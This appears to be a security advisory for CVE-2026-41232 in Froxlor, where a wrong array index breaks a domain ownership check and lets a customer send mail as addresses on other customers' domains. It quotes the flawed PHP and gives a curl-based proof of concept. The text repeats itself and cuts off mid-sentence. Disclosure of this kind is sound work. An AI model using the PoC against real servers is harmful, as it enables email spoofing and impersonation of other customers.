CVE-2026-41232

Froxlor is open source server administration software. Prior to version 2.3.6, in EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses. Version 2.3.6 fixes the issue.

Froxlor is open source server administration software. Prior to version 2.3.6, in EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses. Version 2.3.6 fixes the issue.

Summary

In EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses.

Details

In lib/Froxlor/Api/Commands/EmailSender.php at line 100, when a customer adds a full email address (not a @domain wildcard) as an allowed sender, the code splits on @ and takes index [0]:

// Line 96-106
if (substr($allowed_sender, 0, 1) != '@') {
    if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {
        Response::standardError('emailiswrong', $allowed_sender, true);
    }
    self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? "");  // BUG: [0] is the local part
} else {
    if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {
        Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);
    }
    self::validateLocalDomainOwnership(substr($allowed_sender, 1));  // CORRECT: passes domain
}

For input [email protected], explode("@", "[email protected]") returns ["admin", "domain-b.com"]. Index [0] is "admin" — the local part, not the domain.

The validateLocalDomainOwnership() function (lines 346-355) then queries panel_domains for a domain matching "admin":

private static function validateLocalDomainOwnership(string $domain): void
{
    $sel_stmt = Database::prepare("SELECT customerid FROM `" . TABLE_PANEL_DOMAINS . "` WHERE `domain` = :domain");
    $domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);
    if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {
        Response::standardError('senderdomainnotowned', $domain, true);
    }
}

Since no domain named "admin" exists in panel_domains, $domain_result is false, and the function returns without error — the ownership check silently passes.

The inserted mail_sender_aliases row is then picked up by Postfix's sender_login_maps query (configured in mysql-virtual_sender_permissions.cf):

... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases
WHERE mail_sender_aliases.allowed_sender = '%s') ...

This query maps the allowed_sender back to the mail user, authorizing them to send as that address via SMTP.

PoC

# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,
# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)

# Step 1: As Customer A, add a sender alias claiming Customer B's domain
# Via API:
curl -X POST 'https://froxlor-host/api/v1/' \
  -H 'Authorization: Basic <customer-A-credentials>' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "EmailSender.add",
    "params": {
      "emailaddr": "[email protected]",
      "allowed_sender": "[email protected]"
    }
  }'

# Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B
# Actual: 200 OK — alias is created because validateLocalDomainOwnership
#         receives "ceo" (local part) instead of "domain-b.com" (domain)

# Step 2: Verify the alias was inserted
curl -X POST 'https://froxlor-host/api/v1/' \
  -H 'Authorization: Basic <customer-A-credentials>' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "EmailSender.listing",
    "params": {"emailaddr": "[email protected]"}
  }'

# Step 3: Customer A can now send email as [email protected] via SMTP
# because Postfix sender_login_maps will match the mail_sender_aliases entry
# and authorize Customer A's mail account to use that sender address.

The same…

Froxlor is open source server administration software. Prior to version 2.3.6, in EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses. Version 2.3.6 fixes the issue.

Froxlor is open source server administration software. Prior to version 2.3.6, in EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses. Version 2.3.6 fixes the issue.

Summary

In EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's sender_login_maps then authorizes the attacker to send emails as those addresses.

Details

In lib/Froxlor/Api/Commands/EmailSender.php at line 100, when a customer adds a full email address (not a @domain wildcard) as an allowed sender, the code splits on @ and takes index [0]:

// Line 96-106
if (substr($allowed_sender, 0, 1) != '@') {
    if (!Validate::validateEmail($idna_convert->encode($allowed_sender))) {
        Response::standardError('emailiswrong', $allowed_sender, true);
    }
    self::validateLocalDomainOwnership(explode("@", $allowed_sender)[0] ?? "");  // BUG: [0] is the local part
} else {
    if (!Validate::validateDomain($idna_convert->encode(substr($allowed_sender, 1)))) {
        Response::standardError('wildcardemailiswrong', substr($allowed_sender, 1), true);
    }
    self::validateLocalDomainOwnership(substr($allowed_sender, 1));  // CORRECT: passes domain
}

For input [email protected], explode("@", "[email protected]") returns ["admin", "domain-b.com"]. Index [0] is "admin" — the local part, not the domain.

The validateLocalDomainOwnership() function (lines 346-355) then queries panel_domains for a domain matching "admin":

private static function validateLocalDomainOwnership(string $domain): void
{
    $sel_stmt = Database::prepare("SELECT customerid FROM `" . TABLE_PANEL_DOMAINS . "` WHERE `domain` = :domain");
    $domain_result = Database::pexecute_first($sel_stmt, ['domain' => $domain]);
    if ($domain_result && $domain_result['customerid'] != CurrentUser::getField('customerid')) {
        Response::standardError('senderdomainnotowned', $domain, true);
    }
}

Since no domain named "admin" exists in panel_domains, $domain_result is false, and the function returns without error — the ownership check silently passes.

The inserted mail_sender_aliases row is then picked up by Postfix's sender_login_maps query (configured in mysql-virtual_sender_permissions.cf):

... UNION (SELECT mail_sender_aliases.email FROM mail_sender_aliases
WHERE mail_sender_aliases.allowed_sender = '%s') ...

This query maps the allowed_sender back to the mail user, authorizing them to send as that address via SMTP.

PoC

# Prerequisites: Froxlor instance with mail.enable_allow_sender enabled,
# two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)

# Step 1: As Customer A, add a sender alias claiming Customer B's domain
# Via API:
curl -X POST 'https://froxlor-host/api/v1/' \
  -H 'Authorization: Basic <customer-A-credentials>' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "EmailSender.add",
    "params": {
      "emailaddr": "[email protected]",
      "allowed_sender": "[email protected]"
    }
  }'

# Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B
# Actual: 200 OK — alias is created because validateLocalDomainOwnership
#         receives "ceo" (local part) instead of "domain-b.com" (domain)

# Step 2: Verify the alias was inserted
curl -X POST 'https://froxlor-host/api/v1/' \
  -H 'Authorization: Basic <customer-A-credentials>' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "EmailSender.listing",
    "params": {"emailaddr": "[email protected]"}
  }'

# Step 3: Customer A can now send email as [email protected] via SMTP
# because Postfix sender_login_maps will match the mail_sender_aliases entry
# and authorize Customer A's mail account to use that sender address.

The same…